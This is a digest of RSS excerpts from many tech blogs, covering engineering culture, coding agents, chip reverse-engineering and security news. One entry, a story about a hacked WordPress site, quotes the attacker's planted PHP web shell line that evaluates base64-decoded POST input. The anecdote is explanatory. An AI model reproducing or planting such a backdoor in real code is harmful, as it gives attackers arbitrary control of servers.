

## 1. On screwing up

Source: seangoedecke.com RSS feed | Published: Wed, 11 Feb 2026 00:00:00 GMT

Link: <https://seangoedecke.com/screwing-up/>

The most shameful thing I did in the workplace was lie to a colleague. It was about ten years ago, I was a fresh-faced intern, and in the rush to deliver something I'd skipped the step of testing my work in staging 1 . It did not work. When deployed to production, it didn't work there either. No big deal, in general terms: the page we were working on wasn't yet customer-facing. But my colleague asked me over his desk whether this worked when I'd tested it, and I said something like ?it sure did, no idea what happened?. I bet he forgot about it immediately. I could have just messed up the testing (for instance, by accidentally running some different code than the code I pushed), or he knew I'd probably lied, and didn't really care. I haven't forgotten about it. Even a decade later, I'm still ashamed to write it down. Of course I'm not ashamed about the mistake . I was sloppy to not test my work, but I've cut corners since then when I felt it was necessary, and I stand by that decision. I'm ashamed about how I handled it. But even that I understand. I was a kid, trying to learn quickly and prove I belonged in tech. The last thing I wanted to do was to dwell on the way I screwed up....

## 2. Large tech companies don't need heroes

Source: seangoedecke.com RSS feed | Published: Sun, 08 Feb 2026 00:00:00 GMT

Link: <https://seangoedecke.com/heroism/>

Large tech companies operate via systems . What that means is that the main outcomes - up to and including the overall success or failure of the company - are driven by a complex network of processes and incentives. These systems are outside the control of any particular person. Like the parts of a large codebase, they have accumulated and co-evolved over time, instead of being designed from scratch. Some of these processes and incentives are ?legible?, like OKRs or promotion criteria. Others are ?illegible?, like the backchannel conversations that usually precede a formal consensus on decisions 1 . But either way, it is these processes and incentives that determine what happens, not any individual heroics . How heroes are forged in large tech companies This state of affairs is not efficient at producing good software. In large tech companies, good software often seems like it is produced by accident , as a by-product of individual people responding to their incentives. However, that's just the way it has to be. A shared belief in the mission can cause a small group of people to prioritize good software over their individual benefit, for a little while. But thousands of engineers...

## 3. Getting the main thing right

Source: seangoedecke.com RSS feed | Published: Thu, 05 Feb 2026 00:00:00 GMT

Link: <https://seangoedecke.com/getting-the-main-thing-right/>

When you're running a project in a tech company, understanding that your main job is to ship the project goes a surprisingly long way. So many engineers spend their time on peripheral questions (like the choice of technology X or Y) when core questions about shipping the product (for instance, how all the critical paths will actually work) are still unanswered 1 . If you're able to reliably ship projects, you can get away with being slightly abrasive, or not filling out your Jira tickets correctly, or any number of other small faults that would cause other engineers to be punished. You could see this as a special case of the Pareto principle : the idea that 80% of consequences often come from 20% of causes. But I think in many contexts it's even more extreme, closer to 90/10 or even 99/1. If you get the ?main thing? right, you can get away with a lot of mistakes. This principle holds in many other areas. When saving money, it doesn't matter if you save a few dollars by hunting for deals if you then buy a car or house that's on the edge of your budget. If you're writing, clearly expressing your point will make up for awkward grammar or other mistakes, but even beautiful prose is ba...

#### 4. Introducing Showboat and Rodney, so agents can demo what they've built

Source: Simon Willison's Weblog | Published: 2026-02-10T17:45:29+00:00

Link: <https://simonwillison.net/2026/Feb/10/showboat-and-rodney/#atom-everything>

A key challenge working with coding agents is having them both test what they've built and demonstrate that software to you, their overseer. This goes beyond automated tests - we need artifacts that show their progress and help us see exactly what the agent-produced software is able to do. I've just released two new tools aimed at this problem: Showboat and Rodney .

Proving code actually works Showboat: Agents build documents to demo their work Rodney: CLI browser automation designed to work with Showboat Test-driven development helps, but we still need manual testing I built both of these tools on my phone Proving code actually works I recently wrote about how the job of a software engineer isn't to write code, it's to deliver code that works . A big part of that is proving to ourselves and to other people that the code we are responsible for behaves as expected. This becomes even more important - and challenging - as we embrace coding agents as a core part of our software development process. The more code we churn out with agents, the more valuable tools are that reduce the amount of manual QA time we need to spend. One of the most interesting things about the StrongDM software...

#### 5. Structured Context Engineering for File-Native Agentic Systems

Source: Simon Willison's Weblog | Published: 2026-02-09T23:56:51+00:00

Link: <https://simonwillison.net/2026/Feb/9/structured-context-engineering-for-file-native-agentic-systems/#atom-everything>

Structured Context Engineering for File-Native Agentic Systems New paper by Damon McMillan exploring challenging LLM context tasks involving large SQL schemas (up to 10,000 tables) across different models and file formats: Using SQL generation as a proxy for programmatic agent operations, we present a systematic study of context engineering for structured data, comprising 9,649 experiments across 11 models, 4 formats (YAML, Markdown, JSON, Token-Oriented Object Notation [TOON]), and schemas ranging from 10 to 10,000 tables. Unsurprisingly, the biggest impact was the models themselves - with frontier models (Opus 4.5, GPT-5.2, Gemini 2.5 Pro) beating the leading open source models (DeepSeek V3.2, Kimi K2, Llama 4). Those frontier models benefited from filesystem based context retrieval, but the open source models had much less convincing results with those, which reinforces my feeling that the filesystem coding agent loops aren't handled as well by open weight models just yet. The Terminal Bench 2.0 leaderboard is still dominated by Anthropic, OpenAI and Gemini. The "grep tax" result against TOON was an interesting detail. TOON is meant to represent structured data in as few tokens...

#### 6. AI Doesn't Reduce Work? It Intensifies It

Source: Simon Willison's Weblog | Published: 2026-02-09T16:43:07+00:00

Link: <https://simonwillison.net/2026/Feb/9/ai-intensifies-work/#atom-everything>

AI Doesn't Reduce Work? It Intensifies It Aruna Ranganathan and Xingqi Maggie Ye from Berkeley Haas School of Business report initial findings in the HBR from their April to December 2025 study of 200 employees at a "U.S.-based technology company". This captures an effect I've been observing in my own work with LLMs: the productivity boost these things can provide is exhausting . AI introduced a new rhythm in which workers managed several active threads at once: manually writing code while AI generated an alternative version, running multiple agents in parallel, or reviving long-deferred tasks because AI could handle them? in the background. They did this, in part, because they felt they had a ?partner? that could help them move through their workload. While this sense of having a ?partner? enabled a feeling of momentum, the reality was a continual switching of attention, frequent checking of AI outputs, and a growing number of open tasks. This created cognitive load and a sense of always juggling, even as the work felt productive. I'm frequently finding myself with work on two or three projects running parallel. I can get so much done , but after just an hour or two my mental ene...

#### 7. [Sponsor] WorkOS Pipes: Ship Third-Party Integrations Without Rebuilding OAuth

Source: Daring Fireball | Published: 2026-02-10T01:43:40Z

Link: [https://workos.com/docs/pipes?utm\\_source=daringfireball&utm\\_medium=newsletter&utm\\_campaign=workos-pipes](https://workos.com/docs/pipes?utm_source=daringfireball&utm_medium=newsletter&utm_campaign=workos-pipes)

n=q12026&utm\_content=no\_rebuild

Connecting user accounts to third-party APIs always comes with the same plumbing: OAuth flows, token storage, refresh logic, and provider-specific quirks. WorkOS Pipes removes that overhead. Users connect services like GitHub, Slack, Google, Salesforce, and other supported providers through a drop-in widget. Your backend requests a valid access token from the Pipes API when needed, while Pipes handles credential storage and token refresh. Simplify integrations with WorkOS Pipes. ?

## 8. OpenAI's Codex

Source: Daring Fireball | Published: 2026-02-04T01:40:24Z

Link: <https://simonwillison.net/2026/Feb/2/introducing-the-codex-app/>

Simon Willison: OpenAI just released a new macOS app for their Codex coding agent. I've had a few days of preview access ? it's a solid app that provides a nice UI over the capabilities of the Codex CLI agent and adds some interesting new features, most notably first-class support for Skills, and Automations for running scheduled tasks. Interesting, for sure. But super-duper interesting? I don't know. ?

## 9. Xcode 26.3 ?Unlocks the Power of Agentic Coding?

Source: Daring Fireball | Published: 2026-02-04T01:34:54Z

Link:

<https://www.apple.com/newsroom/2026/02/xcode-26-point-3-unlocks-the-power-of-agentic-coding/>

Apple Newsroom: Xcode 26.3 introduces support for agentic coding, a new way in Xcode for developers to build apps using coding agents such as Anthropic's Claude Agent and OpenAI's Codex. With agentic coding, Xcode can work with greater autonomy toward a developer's goals ? from breaking down tasks to making decisions based on the project architecture and using built-in tools. I don't know if this is super-duper interesting news, but I think it's super-duper interesting that Apple saw the need to release this now, not at WWDC in June. ?

## 10. Exploring a Modern SMPTE 2110 Broadcast Truck With My Dad

Source: Jeff Geerling | Published: Sat, 07 Feb 2026 09:00:00 -0600

Link: <https://www.jeffgeerling.com/blog/2026/exploring-a-modern-smpete-2110-broadcast-truck-with-my-dad/>

In October, my Dad and I got to go behind the scenes at two St. Louis Blues (NHL hockey) games, and observe the massive team effort involved in putting together a modern digital sports broadcast. I wanted to explore the timing and digital side of a modern SMPTE 2110 mobile unit, and my Dad has been involved in studio and live broadcast for decades, so he enjoyed the experience as the engineer not on duty!

## 11. The first good Raspberry Pi Laptop

Source: Jeff Geerling | Published: Fri, 06 Feb 2026 09:00:00 -0600

Link: <https://www.jeffgeerling.com/blog/2026/the-first-good-raspberry-pi-laptop/>

Ever since the Raspberry Pi Compute Module 5 was introduced, I wondered why nobody built a decent laptop chassis around it. You could swap out a low spec CM5 for a higher spec, and get an instant computer upgrade. Or, assuming a CM6 comes out someday in the same form factor, the laptop chassis could get an entirely new life with that upgrade.

## 12. Ode to the AA Battery

Source: Jeff Geerling | Published: Thu, 29 Jan 2026 11:00:00 -0600

Link: <https://www.jeffgeerling.com/blog/2026/ode-to-the-aa-battery/>

Recently this post from @Merocle caught my eye: I'm fixing my iFixit soldering station. I haven't used it for a long time and the battery has gone overdischarge. I hope it will come back to life. Unfortunately, there are no replacements available for sale at the moment.

Devices with built-in rechargeable batteries have been bugging me a lot lately. It's convenient to have a device you can take with you and use anywhere. And with modern Li-ion cells, battery life is remarkable.

### 13. On Being A Canadian In America In 2026

Source: Eric Migitovsky's Blog RSS Feed | Published: Sun, 25 Jan 2026 00:00:00 GMT

Link: <https://ericmigi.com/blog/on-being-a-canadian-in-america-in-2026>

An Evening Out Colette Berends (I wrote a draft of post in early 2025. I picked it up and decided to publish it today, hence why it is more?)

### 14. Pebble Round 2 - The Most Stylish Pebble Ever

Source: Eric Migitovsky's Blog RSS Feed | Published: Fri, 02 Jan 2026 00:00:00 GMT

Link: <https://repebble.com/blog/pebble-round-2-the-most-stylish-pebble-ever>

We've finally gotten around to it! The entire Pebble relaunch would not be complete without revisiting one of our most iconic watches from?

### 15. Pebble Relaunch - Year One Done!

Source: Eric Migitovsky's Blog RSS Feed | Published: Wed, 31 Dec 2025 00:00:00 GMT

Link: <https://ericmigi.com/blog/pebble-relaunch-year-one-done>

Thanks for sharing your pics on Twitter, Ben, Antonio, 1987haaa, Sterling and Tom! Thank you, Pebble community! I can't believe it's only?

### 16. My AI Adoption Journey

Source: Mitchell Hashimoto | Published: Thu, 05 Feb 2026 00:00:00 GMT

Link: <https://mitchellh.com/writing/my-ai-adoption-journey>

(No summary)

### 17. Don't Trip[wire] Yourself: Testing Error Recovery in Zig

Source: Mitchell Hashimoto | Published: Wed, 21 Jan 2026 00:00:00 GMT

Link: <https://mitchellh.com/writing/tripwire>

(No summary)

### 18. Finding and Fixing Ghostly's Largest Memory Leak

Source: Mitchell Hashimoto | Published: Sat, 10 Jan 2026 00:00:00 GMT

Link: <https://mitchellh.com/writing/ghostly-memory-leak-fix>

(No summary)

### 19. Kimwolf Botnet Lurking in Corporate, Govt. Networks

Source: Krebs on Security | Published: Tue, 20 Jan 2026 18:19:13 +0000

Link: <https://krebsongsecurity.com/2026/01/kimwolf-botnet-lurking-in-corporate-govt-networks/>

A new Internet-of-Things botnet called Kimwolf has spread to more than 2 million devices, forcing infected systems to participate in massive distributed denial-of-service (DDoS) attacks and to relay other malicious and abusive Internet traffic. Kimwolf's ability to scan the local networks of compromised systems for other IoT devices to infect makes it a sobering threat to organizations, and new research reveals Kimwolf is surprisingly prevalent in government and corporate networks.

### 20. Patch Tuesday, January 2026 Edition

Source: Krebs on Security | Published: Wed, 14 Jan 2026 00:47:38 +0000

Link: <https://krebsongsecurity.com/2026/01/patch-tuesday-january-2026-edition/>

Microsoft today issued patches to plug at least 113 security holes in its various Windows operating systems and supported software. Eight of the vulnerabilities earned Microsoft's most-dire "critical" rating, and the company warns that attackers are already exploiting one of the bugs fixed today.

### 21. Who Benefited from the Aisuru and Kimwolf Botnets?

Source: Krebs on Security | Published: Thu, 08 Jan 2026 23:23:43 +0000

Link: <https://krebsongsecurity.com/2026/01/who-benefited-from-the-aisuru-and-kimwolf-botnets/>

Our first story of 2026 revealed how a destructive new botnet called Kimwolf rapidly grew to infect more than two million devices by mass-compromising a vast number of unofficial Android TV streaming boxes. Today, we'll dig through digital clues left behind by the hackers, network operators, and cybercrime services that appear to have benefitted from Kimwolf's spread.

22. How did Windows 95 get permission to put the Weezer video Buddy Holly on the CD?

Source: The Old New Thing | Published: Tue, 10 Feb 2026 15:00:00 +0000

Link: <https://devblogs.microsoft.com/oldnewthing/20260210-00/?p=112052>

Asking nicely, and asking a lot of people. The post How did Windows 95 get permission to put the Weezer video Buddy Holly on the CD? appeared first on The Old New Thing .

23. What should I do if a wait call reports WAIT\_ABANDONED?

Source: The Old New Thing | Published: Mon, 09 Feb 2026 15:00:00 +0000

Link: <https://devblogs.microsoft.com/oldnewthing/20260209-00/?p=112049>

It's your one chance to make amends. The post What should I do if a wait call reports WAIT\_ABANDONED ? appeared first on The Old New Thing .

24. How can I prevent the user from changing the widths of ListView columns in version 5 of the common controls?, part 2

Source: The Old New Thing | Published: Fri, 06 Feb 2026 15:00:00 +0000

Link: <https://devblogs.microsoft.com/oldnewthing/20260206-00/?p=112045>

Preventing the resize cursor from appearing. The post How can I prevent the user from changing the widths of ListView columns in version 5 of the common controls?, part 2 appeared first on The Old New Thing .

25. The UK paid £4.1 million for a bookmarks site

Source: Mahad Kalam | Published: Wed, 28 Jan 2026 00:00:00 GMT

Link: <https://mahadk.com/posts/ai-skills-hub/>

Or, as they like to call it, the 'AI Skills Hub'. Which was built by PwC because of course it was

26. Using the M1 MacBook Air in 2026

Source: Mahad Kalam | Published: Sat, 17 Jan 2026 00:00:00 GMT

Link: <https://mahadk.com/posts/m1-mba/>

It's surprisingly capable more than five years later ? as long as you temper your expectations.

27. Getting Rails' ActiveStorage blob IDs from file URLs

Source: Mahad Kalam | Published: Fri, 12 Dec 2025 18:00:00 GMT

Link: <https://mahadk.com/posts/activestorage-file-id/>

Learn how to extract ActiveStorage blob IDs from expiring ActiveStorage URLs.

28. Notes on the Intel 8086 processor's arithmetic-logic unit

Source: Ken Shirriff's blog | Published: 2026-01-23T09:09:00.000-08:00

Link: <http://www.righto.com/2026/01/notes-on-intel-8086-processors.html>

In 1978, Intel introduced the 8086 processor, a revolutionary chip that led to the modern x86 architecture. Unlike modern 64-bit processors, however, the 8086 is a 16-bit chip. Its arithmetic/logic unit (ALU) operates on 16-bit values, performing arithmetic operations such as addition and subtraction, as well as logic operations including bitwise AND, OR, and XOR. The 8086's ALU is a complicated part of the chip, performing 28 operations in total. In this post, I discuss the circuitry that controls the ALU, generating the appropriate control signals for a particular operation. The process is more complicated than you might expect. First, a machine code instruction results in the execution of multiple microcode instructions. Using the ALU is a two-step process: one microcode instruction (micro-instruction) configures the ALU for the desired operation, while a second micro-instruction gets the results from the ALU.

Moreover, based on both the microcode micro-instruction and the machine code instruction, the

control circuitry sends control signals to the ALU, reconfiguring it for the desired operation. Thus, this circuitry provides the "glue" between the micro-instructions and the...

## 29. Conditions in the Intel 8087 floating-point chip's microcode

Source: Ken Shirriff's blog | Published: 2025-12-30T10:00:00.000-08:00

Link: <http://www.righto.com/2025/12/8087-microcode-conditions.html>

In the 1980s, if you wanted your computer to do floating-point calculations faster, you could buy the Intel 8087 floating-point coprocessor chip. Plugging it into your IBM PC would make operations up to 100 times faster, a big boost for spreadsheets and other number-crunching applications. The 8087 uses complicated algorithms to compute trigonometric, logarithmic, and exponential functions. These algorithms are implemented inside the chip in microcode. I'm part of a group that is reverse-engineering this microcode. In this post, I examine the 49 types of conditional tests that the 8087's microcode uses inside its algorithms. Some conditions are simple, such as checking if a number is zero or negative, while others are specialized, such as determining what direction to round a number. To explore the 8087's circuitry, I opened up an 8087 chip and took numerous photos of the silicon die with a microscope. Around the edges of the die, you can see the hair-thin bond wires that connect the chip to its 40 external pins. The complex patterns on the die are formed by its metal wiring, as well as the polysilicon and silicon underneath. The bottom half of the chip is the "datapath", the circ...

## 30. The stack circuitry of the Intel 8087 floating point chip, reverse-engineered

Source: Ken Shirriff's blog | Published: 2025-12-09T09:54:00.000-08:00

Link: <http://www.righto.com/2025/12/8087-stack-circuitry.html>

Early microprocessors were very slow when operating with floating-point numbers. But in 1980, Intel introduced the 8087 floating-point coprocessor, performing floating-point operations up to 100 times faster. This was a huge benefit for IBM PC applications such as AutoCAD, spreadsheets, and flight simulators. The 8087 was so effective that today's computers still use a floating-point system based on the 8087. 1 The 8087 was an extremely complex chip for its time, containing somewhere between 40,000 and 75,000 transistors, depending on the source. 2 To explore how the 8087 works, I opened up a chip and took numerous photos of the silicon die with a microscope. Around the edges of the die, you can see the hair-thin bond wires that connect the chip to its 40 external pins. The complex patterns on the die are formed by its metal wiring, as well as the polysilicon and silicon underneath. The bottom half of the chip is the "datapath", the circuitry that performs calculations on 80-bit floating point values. At the left of the datapath, a constant ROM holds important constants such as ?. At the right are the eight registers that form the stack, along with the stack control circuitry. Die...

## 31. Heritability of human life span is about 50% when heritability is redefined to be something different

Source: DYNOMIGHT | Published: 2026-02-05T00:00:00+00:00

Link: <https://dynamight.net/lifespan/>

How heritable is hair color? Well, if you're a redhead and you have an identical twin, they will definitely also be a redhead. But the age at which twins go gray seems to vary a bit based on lifestyle. And there's some randomness in where melanocytes end up on your skull when you're an embryo. And your twin might dye their hair! So the correct answer is, some large number, but less than 100%. OK, but check this out: Say I redefine ?hair color? to mean ?hair color except ignoring epigenetic and embryonic stuff and pretending that no one ever goes gray or dyes their hair et cetera?. Now, hair color is 100% heritable. Amazing, right? Or?how heritable is IQ? The wise man answers, ?Some number between 0% or 100%, it's not that important, please don't yell at me.? But whatever the number is, it depends on society. In our branch of the multiverse, some kids get private tutors and organic food and \$20,000 summer camps, while other kids get dysfunctional schools and lead paint and summers spent drinking Pepsi and staring at glowing rectangles. These things surely have at least some impact on IQ. But again, watch this: Say I redefine ?IQ? to be ?IQ in some hypothetical world where every kid...

### 32. Why read novels?

Source: DYNOMIGHT | Published: 2026-01-22T00:00:00+00:00

Link: <https://dynamight.net/novels/>

Why should you read novels? We tell children they're magic carpets for the mind / exercise for the soul instead of the body / lighthouses in the great sea of time. But aren't they ultimately a form of entertainment? Many years ago, I read Crime and Punishment. Here, with no research and no notes, is what I can remember about that book: It was pretty good. There was some guy, I think named Ras-something. He was really angsty/edgy and lived in a small apartment or attic. One day, for no particular reason, he killed an old woman. Having done this random murder, he became even more angsty/edgy. Then there was this police inspector guy. The inspector kept coming after Ras-whoever and making extremely long philosophical rants. Those rants may or may not have represented the personal views of Fyodor Dostoevsky. I can't remember how the book ended. Surely Ras-whoever didn't live happily ever after? But was he caught or did he confess? No idea. This is probably below average. I know people who seem to remember every detail of everything they read. But even if you're one of them, so what? Is remembering those books better than remembering whatever else you would have done with your time if...

### 33. Good if make prior after data instead of before

Source: DYNOMIGHT | Published: 2025-12-18T00:00:00+00:00

Link: <https://dynamight.net/prior/>

They say you're supposed to choose your prior in advance. That's why it's called a ?prior?. First , you're supposed to say say how plausible different things are, and then you update your beliefs based on what you see in the world. For example, currently you are?I assume?trying to decide if you should stop reading this post and do something else with your life. If you've read this blog before, then lurking somewhere in your mind is some prior for how often my posts are good. For the sake of argument, let's say you think 25% of my posts are funny and insightful and 75% are boring and worthless. OK. But now here you are reading these words. If they seem bad/good, then that raises the odds that this particular post is worthless/non-worthless. For the sake of argument again, say you find these words mildly promising, meaning that a good post is 1.5xmore likely than a worthless post to contain words with this level of quality. If you combine those two assumptions, that implies that the probability that this particular post is good is 33.3%. That's true because the red rectangle below has half the area of the blue one, and thus the probability that this post is good should be half the...

### 34. A Language For Agents

Source: Armin Ronacher's Thoughts and Writings | Published: 2026-02-09T00:00:00+00:00

Link: <https://lucumr.pocoo.org/2026/2/9/a-language-for-agents/>

Last year I first started thinking about what the future of programming languages might look like now that agentic engineering is a growing thing. Initially I felt that the enormous corpus of pre-existing code would cement existing languages in place but now I'm starting to think the opposite is true. Here I want to outline my thinking on why we are going to see more new programming languages and why there is quite a bit of space for interesting innovation. And just in case someone wants to start building one, here are some of my thoughts on what we should aim for! Why New Languages Work Does an agent perform dramatically better on a language that it has in its weights? Obviously yes. But there are less obvious factors that affect how good an agent is at programming in a language: how good the tooling around it is and how much churn there is. Zig seems underrepresented in the weights (at least in the models I've used) and also changing quickly. That combination is not optimal, but it's still passable: you can program even in the upcoming Zig version if you point the agent at the right documentation. But it's not great. On the other hand, some languages are well represented in the...

### 35. Pi: The Minimal Agent Within OpenClaw

Source: Armin Ronacher's Thoughts and Writings | Published: 2026-01-31T00:00:00+00:00

Link: <https://lucumr.pocoo.org/2026/1/31/pi/>

If you haven't been living under a rock, you will have noticed this week that a project of my friend Peter went viral on the internet . It went by many names. The most recent one is OpenClaw but in the news you might have encountered it as ClawdBot or MoltBot depending on when you read about it. It is an agent connected to a communication channel of your choice that just runs code . What you might be less familiar with is that what's under the hood of OpenClaw is a little coding agent called Pi . And Pi happens to be, at this point, the coding agent that I use almost exclusively. Over the last few weeks I became more and more of a shill for the little agent. After I gave a talk on this recently, I realized that I did not actually write about Pi on this blog yet, so I feel like I might want to give some context on why I'm obsessed with it, and how it relates to OpenClaw. Pi is written by Mario Zechner and unlike Peter, who aims for ?sci-fi with a touch of madness,? 1 Mario is very grounded. Despite the differences in approach, both OpenClaw and Pi follow the same idea: LLMs are really good at writing and running code, so embrace this. In some ways I think that's not an accident bec...

### 36. Colin and Earendil

Source: Armin Ronacher's Thoughts and Writings | Published: 2026-01-27T00:00:00+00:00

Link: <https://lucumr.pocoo.org/2026/1/27/earendil/>

Regular readers of this blog will know that I started a new company. We have put out just a tiny bit of information today , and some keen folks have discovered and reached out by email with many thoughtful responses. It has been delightful. Colin and I met here, in Vienna. We started sharing coffees, ideas, and lunches, and soon found shared values despite coming from different backgrounds and different parts of the world. We are excited about the future, but we're equally vigilant of it. After traveling together a bit, we decided to plunge into the cold water and start a company together. We want to be successful, but we want to do it the right way and we want to be able to demonstrate that to our kids. Vienna is a city of great history, two million inhabitants and a fascinating vibe that is nothing like San Francisco. In fact, Vienna is in many ways the polar opposite to the Silicon Valley, both in mindset, in opportunity and approach to life. Colin comes from San Francisco, and though I'm Austrian, my career has been shaped by years working with California companies and people from there who used my Open Source software. Vienna is now our shared home. Despite Austria being so f...

### 37. Computing large Fibonacci numbers

Source: John D. Cook | Published: Sun, 08 Feb 2026 13:51:25 +0000

Link: <https://www.johndcook.com/blog/2026/02/08/computing-large-fibonacci-numbers/>

The previous post discussed two ways to compute the nth Fibonacci number. The first is to compute all the Fibonacci numbers up to the nth iteratively using the defining property of Fibonacci numbers  $F_{n+2} = F_n + F_{n+1}$  with extended integer arithmetic. The second approach is to use Binet's formula  $F_n = [?]$  The post Computing large Fibonacci numbers first appeared on John D. Cook .

### 38. Fibonacci numbers and time-space tradeoffs

Source: John D. Cook | Published: Sun, 08 Feb 2026 13:51:08 +0000

Link: <https://www.johndcook.com/blog/2026/02/08/time-space-tradeoffs/>

A few days ago I wrote about Fibonacci numbers and certificates. As I pointed out in the article, there's no need to certify Fibonacci numbers, but the point of the post was to illustrate the idea of a solution certificate in a simple context. Practical uses of certificates are more complicated. This time I want [?] The post Fibonacci numbers and time-space tradeoffs first appeared on John D. Cook .

### 39. Minimum of cosine sum

Source: John D. Cook | Published: Sat, 07 Feb 2026 14:02:45 +0000

Link: <https://www.johndcook.com/blog/2026/02/07/chowla/>

Suppose  $f(x)$  is the sum of terms of the form  $\cos(kx)$  where  $k$  is an integer from a set  $A$  with  $n$  elements. Then the maximum value of  $f$  is  $f(0) = n$ . But what is the minimum value of  $f$ ? The Chowla cosine conjecture says that the minimum should be less than ??n for large n. For now the

best [?] The post Minimum of cosine sum first appeared on John D. Cook .

#### 40. Microsoft Should Watch The Expanse

Source: iDiallo.com | Published: Mon, 09 Feb 2026 12:00:00 GMT

Link: <https://idiallo.com/blog/microsoft-should-watch-the-expanse?src=feed>

My favorite piece of technology in science fiction isn't lightsabers, flying spaceships, or even robots. It's AI. But not just any AI. My favorite is the one in the TV show The Expanse . If you watch The Expanse, the most advanced technology is, of course, the Epstein drive (an unfortunate name in this day and age). In their universe, humanity can travel to distant planets, the Belt, and Mars. Mars has the most high-tech military, which is incredibly cool. But the AI is still what impresses me most. If you watched the show, you're probably wondering what the hell I'm talking about right now. Because there is no mention of AI ever. The AI is barely visible. In fact, it's not visible at all. Most of the time, there aren't even voices. Instead, their computer interfaces respond directly to voice and gesture commands without returning any sass. In Season 1, Miller (the detective) is trying to solve a crime. Out of the blue, he just says, "Plot the course the Scopuli took over the past months." The course is plotted right there in his living room. No fuss, no interruptions, no "OK Google." And when he finally figures it out, no one says "You are absolutely right!" He then interacts wit...

#### 41. Open Molten Claw

Source: iDiallo.com | Published: Fri, 06 Feb 2026 12:00:00 GMT

Link: <https://idiallo.com/blog/open-molten-claw?src=feed>

At an old job, we used WordPress for the companion blog for our web services. This website was getting hacked every couple of weeks. We had a process in place to open all the WordPress pages, generate the cache, then remove write permissions on the files. The deployment process included some manual steps where you had to trigger a specific script. It remained this way for years until I decided to fix it for good. Well, more accurately, I was blamed for not running the script after we got hacked again, so I took the matter into my own hands. During my investigation, I found a file in our WordPress instance called post.php . Who would suspect such a file on a PHP website? But inside that file was a single line that received a payload from an attacker and eval'd it directly on our server: eval(base64\_decode(\$\_POST["php"])); The attacker had free rein over our entire server. They could run any arbitrary code they wanted. They could access the database and copy everything. They could install backdoors, steal customer data, or completely destroy our infrastructure. Fortunately for us, the main thing they did was redirect our Google traffic to their own spammy website. But it didn't end...

#### 42. We installed a single turnstile to feel secure

Source: iDiallo.com | Published: Wed, 04 Feb 2026 12:00:00 GMT

Link: <https://idiallo.com/blog/installed-single-turnstile-for-security-theater?src=feed>

After the acquisition by a much larger company, security became a top priority. Our company occupied three tall buildings, each at least 13 stories high. Key card readers were installed next to every entrance, every elevator car, and even at the parking lot entrance, which itself was eight stories tall. The parking lot system was activated first. If you wanted to park your car, you needed to scan your pass. It didn't take long for lines to start forming, but they were still manageable. Then the doors were activated. I would often forget my key card on my desk and get stuck in the stairwell. After lunch, I'd climb the stairs all the way to the 11th floor, only to find myself locked out at the door. Fortunately, the buildings were full of people, and there was always someone to open the door for me. I'd slip in suspiciously while they contemplated the email that clearly said not to let anyone in with your own card. While we were battling to get used to the key cards, the company was installing turnstiles on the ground floor of every building. They looked futuristic, but I was already anticipating a problem the designers hadn't considered. Each building had 13 floors. Each floor was...

#### 43. A Social Filesystem

Source: overreacted ? A blog by Dan Abramov | Published: Sun, 18 Jan 2026 00:00:00 GMT

Link: <https://overreacted.io/a-social-filesystem/>

Formats over apps.

#### 44. Introducing RSC Explorer

Source: overreacted ? A blog by Dan Abramov | Published: Fri, 19 Dec 2025 00:00:00 GMT

Link: <https://overreacted.io/introducing-rsc-explorer/>

My new hobby project.

#### 45. Hire Me in Japan

Source: overreacted ? A blog by Dan Abramov | Published: Tue, 11 Nov 2025 00:00:00 GMT

Link: <https://overreacted.io/hire-me-in-japan/>

I'm looking for a new job.

#### 46. Humanity's last programming language

Source: Xe Iaso's blog | Published: Tue, 10 Feb 2026 00:00:00 GMT

Link: <https://xeiaso.net/blog/2026/markdownlang/>

What if markdown was executable? You get markdownlang.

#### 47. Zendesk, get your shit together please

Source: Xe Iaso's blog | Published: Sat, 07 Feb 2026 00:00:00 GMT

Link: <https://xeiaso.net/notes/2026/zendesk-get-shit-together/>

BORN TO GET SPAMMED, WORLD IS A FUCK, SPAMHAUS THEM ALL 2026, I am inbox full man, 410,757,864,530 Zendesk emails

#### 48. Life pro tip: a Steam Deck can be a bluetooth speaker

Source: Xe Iaso's blog | Published: Thu, 05 Feb 2026 00:00:00 GMT

Link: <https://xeiaso.net/notes/2026/steam-deck-bluetooth-speaker/>

Your headphones may only let you get audio from one source at once, but Linux has no such limitations!

#### 49. CI In a Box

Source: matklad | Published: 2026-02-06T00:00:00+00:00

Link: <https://matklad.github.io/2026/02/06/ci-in-a-box.html>

I wrote box, a thin wrapper around ssh for running commands on remote machines. I want a box-shaped interface for CI:

#### 50. make.ts

Source: matklad | Published: 2026-01-27T00:00:00+00:00

Link: <https://matklad.github.io/2026/01/27/make-ts.html>

Up Enter Up Up Enter Up Up Up Enter

#### 51. Considering Strictly Monotonic Time

Source: matklad | Published: 2026-01-23T00:00:00+00:00

Link: <https://matklad.github.io/2026/01/23/strictly-monotonic-time.html>

Monotonic time is a frequently used, load bearing abstraction. Monotonicity is often enforced using the following code:

#### 52. Your feed reader is fetching from a limited network area

Source: Wandering Thoughts: Your feed reader is fetching from a limited network area |

Published: 2025-11-21T03:54:10Z

Link: <https://utcc.utoronto.ca/~cks/cspace-gen-http429.html>

Your software is blocked from fetching my syndication feeds because it is fetching them from a limited network area, such as large cloud provider networks. Unfortunately as of 2025-11-22, these are being heavily abused by aggressive web crawlers and other automated software. Your software has been redirected to this special single-entry feed so that you can hopefully find

out about this and ideally remedy it. Please see my general web page on limited network areas . I am willing to exempt at least some feed readers from this restriction. See the page above for details on how to contact me to arrange this.

### 53. Why Am I Doing the Thinking for You?

Source: Terrible Software | Published: Mon, 02 Feb 2026 13:49:00 +0000

Link: <https://terriblesoftware.org/2026/02/02/why-am-i-doing-the-thinking-for-you/>

'What do you think?' without a position isn't a question ? it's a task assignment. State your opinion first. Let people react to something concrete.

### 54. Why I Still Write Code as an Engineering Manager

Source: Terrible Software | Published: Thu, 22 Jan 2026 14:16:02 +0000

Link: <https://terriblesoftware.org/2026/01/22/why-i-still-write-code-as-an-engineering-manager/>

I still code as an engineering manager. Not to stay busy, but to show my team what good looks like.

### 55. Life Happens at 1x Speed

Source: Terrible Software | Published: Thu, 08 Jan 2026 12:58:46 +0000

Link: <https://terriblesoftware.org/2026/01/08/life-happens-at-1x-speed/>

Why I stopped consuming content at 2x speed, and the simple rule that changed how I listen to everything.

### 56. Notes on blog future-proofing

Source: Maurycy's Blog | Published: Fri, 23 Jan 2026 00:00:00 +0000

Link: <https://maurycyz.com/misc/futureproofing/>

